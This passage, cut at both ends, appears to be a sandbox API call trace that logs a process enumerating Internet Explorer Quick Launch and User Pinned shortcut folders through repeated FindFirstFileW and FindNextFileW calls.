lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Internet Explorer", lpFilePart=0x0) returned 0x3e [0149.292] SetErrorMode (uMode=0x1) returned 0x0 [0149.292] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Internet Explorer\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\internet explorer\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x795fff90, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x795fff90, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfda27f60, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.293] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x795fff90, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x795fff90, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfda27f60, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.293] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x795fff90, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x4d24b360, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x4d24b360, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Quick Launch", cAlternateFileName="QUICKL~1")) returned 1 [0149.293] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x795fff90, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x4d24b360, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x4d24b360, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Quick Launch", cAlternateFileName="QUICKL~1")) returned 0 [0149.293] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.293] SetErrorMode (uMode=0x0) returned 0x1 [0149.293] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Internet Explorer", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Internet Explorer", lpFilePart=0x0) returned 0x3e [0149.293] SetErrorMode (uMode=0x1) returned 0x0 [0149.294] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Internet Explorer\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\internet explorer\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x795fff90, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x795fff90, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfda27f60, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.294] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x795fff90, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x795fff90, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfda27f60, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.294] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x795fff90, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x4d24b360, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x4d24b360, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Quick Launch", cAlternateFileName="QUICKL~1")) returned 1 [0149.294] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x795fff90, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x4d24b360, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x4d24b360, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Quick Launch", cAlternateFileName="QUICKL~1")) returned 0 [0149.294] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.294] SetErrorMode (uMode=0x0) returned 0x1 [0149.295] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch", lpFilePart=0x0) returned 0x4b [0149.295] SetErrorMode (uMode=0x1) returned 0x0 [0149.295] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x795fff90, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x4d24b360, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x4d24b360, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.295] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x795fff90, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x4d24b360, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x4d24b360, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.295] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x799de350, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x799de350, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x4d24b360, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0149.295] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d24b360, ftCreationTime.dwHighDateTime=0x1d7b064, ftLastAccessTime.dwLowDateTime=0x4d24b360, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x4d24b360, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x5a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Launch Internet Explorer Browser.lnk", cAlternateFileName="LAUNCH~1.LNK")) returned 1 [0149.295] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5021c250, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x5021c250, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x502423b0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x4ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Outlook.lnk", cAlternateFileName="MICROS~1.LNK")) returned 1 [0149.296] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x799de350, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x799de350, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e11d030, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x122, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shows Desktop.lnk", cAlternateFileName="SHOWSD~1.LNK")) returned 1 [0149.296] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x795fff90, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796260f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x119ccee, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User Pinned", cAlternateFileName="USERPI~1")) returned 1 [0149.296] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x799de350, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x799de350, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e143190, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x110, dwReserved0=0x0, dwReserved1=0x0, cFileName="Window Switcher.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 1 [0149.296] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x799de350, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x799de350, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e143190, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x110, dwReserved0=0x0, dwReserved1=0x0, cFileName="Window Switcher.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 0 [0149.296] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.296] SetErrorMode (uMode=0x0) returned 0x1 [0149.296] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch", lpFilePart=0x0) returned 0x4b [0149.296] SetErrorMode (uMode=0x1) returned 0x0 [0149.296] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x795fff90, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x4d24b360, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x4d24b360, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.297] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x795fff90, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x4d24b360, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x4d24b360, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.297] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x799de350, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x799de350, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x4d24b360, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0149.297] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d24b360, ftCreationTime.dwHighDateTime=0x1d7b064, ftLastAccessTime.dwLowDateTime=0x4d24b360, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x4d24b360, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x5a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Launch Internet Explorer Browser.lnk", cAlternateFileName="LAUNCH~1.LNK")) returned 1 [0149.297] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5021c250, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x5021c250, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x502423b0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x4ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Outlook.lnk", cAlternateFileName="MICROS~1.LNK")) returned 1 [0149.297] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x799de350, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x799de350, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e11d030, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x122, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shows Desktop.lnk", cAlternateFileName="SHOWSD~1.LNK")) returned 1 [0149.297] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x795fff90, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796260f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x119ccee, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User Pinned", cAlternateFileName="USERPI~1")) returned 1 [0149.297] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x799de350, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x799de350, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e143190, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x110, dwReserved0=0x0, dwReserved1=0x0, cFileName="Window Switcher.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 1 [0149.297] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x799de350, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x799de350, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e143190, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x110, dwReserved0=0x0, dwReserved1=0x0, cFileName="Window Switcher.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 0 [0149.297] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.297] SetErrorMode (uMode=0x0) returned 0x1 [0149.298] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned", lpFilePart=0x0) returned 0x57 [0149.298] SetErrorMode (uMode=0x1) returned 0x0 [0149.298] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x795fff90, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796260f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x119ccee, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.298] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x795fff90, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796260f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x119ccee, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.298] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x796260f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796260f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf98cef90, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImplicitAppShortcuts", cAlternateFileName="IMPLIC~1")) returned 1 [0149.298] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x795fff90, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x4d9c8360, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x4d9c8360, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TaskBar", cAlternateFileName="")) returned 1 [0149.298] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x795fff90, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x4d9c8360, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x4d9c8360, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TaskBar", cAlternateFileName="")) returned 0 [0149.298] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.298] SetErrorMode (uMode=0x0) returned 0x1 [0149.298] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned", lpFilePart=0x0) returned 0x57 [0149.299] SetErrorMode (uMode=0x1) returned 0x0 [0149.299] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x795fff90, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796260f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x119ccee, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.299] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x795fff90, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796260f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x119ccee, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.299] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x796260f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796260f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf98cef90, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImplicitAppShortcuts", cAlternateFileName="IMPLIC~1")) returned 1 [0149.299] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x795fff90, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x4d9c8360, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x4d9c8360, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TaskBar", cAlternateFileName="")) returned 1 [0149.299] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x795fff90, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x4d9c8360, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x4d9c8360, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TaskBar", cAlternateFileName="")) returned 0 [0149.299] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.299] SetErrorMode (uMode=0x0) returned 0x1 [0149.300] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts", nBufferLength=0x105, lpBuffer=0x21cc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts", lpFilePart=0x0) returned 0x6c [0149.300] SetErrorMode (uMode=0x1) returned 0x0 [0149.300] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\implicitappshortcuts\\*"), lpFindFileData=0x21ce30 | out: lpFindFileData=0x21ce30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x796260f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796260f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf98cef90, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.301] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x796260f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796260f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf98cef90, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.301] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x796260f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796260f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf98cef90, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, 